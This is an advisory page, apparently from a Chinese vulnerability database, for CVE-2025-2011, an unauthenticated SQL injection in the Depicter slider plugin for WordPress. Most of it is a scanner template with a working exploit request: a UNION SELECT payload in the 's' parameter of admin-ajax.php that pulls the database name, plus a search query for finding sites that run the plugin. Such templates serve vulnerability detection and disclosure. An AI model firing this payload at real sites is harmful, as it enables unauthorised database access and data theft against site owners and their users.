CVE-2025-2011: Slider & Popup Builder by Depicter <= 3.6.1 - Unauthenticated SQL Injection

日期: 2025-08-01 | 影响软件: Slider & Popup Builder by Depicter | POC: 已公开

漏洞描述

The Slider & Popup Builder by Depicter plugin for WordPress is vulnerable to generic SQL Injection via the ‘s' parameter in all versions up to, and including, 3.6.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

PoC代码[已公开]

id: CVE-2025-2011

info:
  name: Slider & Popup Builder by Depicter <= 3.6.1 - Unauthenticated SQL Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    The Slider & Popup Builder by Depicter plugin for WordPress is vulnerable to generic SQL Injection via the ‘s' parameter in all versions up to, and including, 3.6.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  reference:
    - https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Controllers/Ajax/LeadsAjaxController.php?rev=3156664#L179
    - https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Controllers/Ajax/LeadsAjaxController.php?rev=3156664#L23
    - https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Controllers/Ajax/LeadsAjaxController.php?rev=3156664#L49
    - https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Database/Repository/LeadRepository.php?rev=3156664#L224
    - https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Services/LeadService.php?rev=3156664#L82
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-2011
    cwe-id: CWE-89
    epss-score: 0.66504
    epss-percentile: 0.98491
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/depicter/"
  tags: cve,cve2025,wordpress,wp-plugin,wp,sqli,vkev

http:
  - raw:
      - |
        GET /wp-admin/admin-ajax.php?s=9999')union+select+111,222,(select(concat(0x44617461626173653a20,database()))),4444,+5--+-&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Database: '
          - 'commonFields'
          - 'content'
        condition: and

    extractors:
      - type: regex
        part: body
        internal: false
        name: dbname
        group: 1
        regex:
          - '"id":"Database: (.*?)"'
# digest: 4a0a00473045022100d58ff093792fd677fcf69b721fa3a6e9f3c11dd79713374545fa99c1bec07e9e0220265d56335afd2beb74003656d07e4b9c60a62582fbdf637514214a1392cbf45e:922c64590222798bb761d5b6d8e72950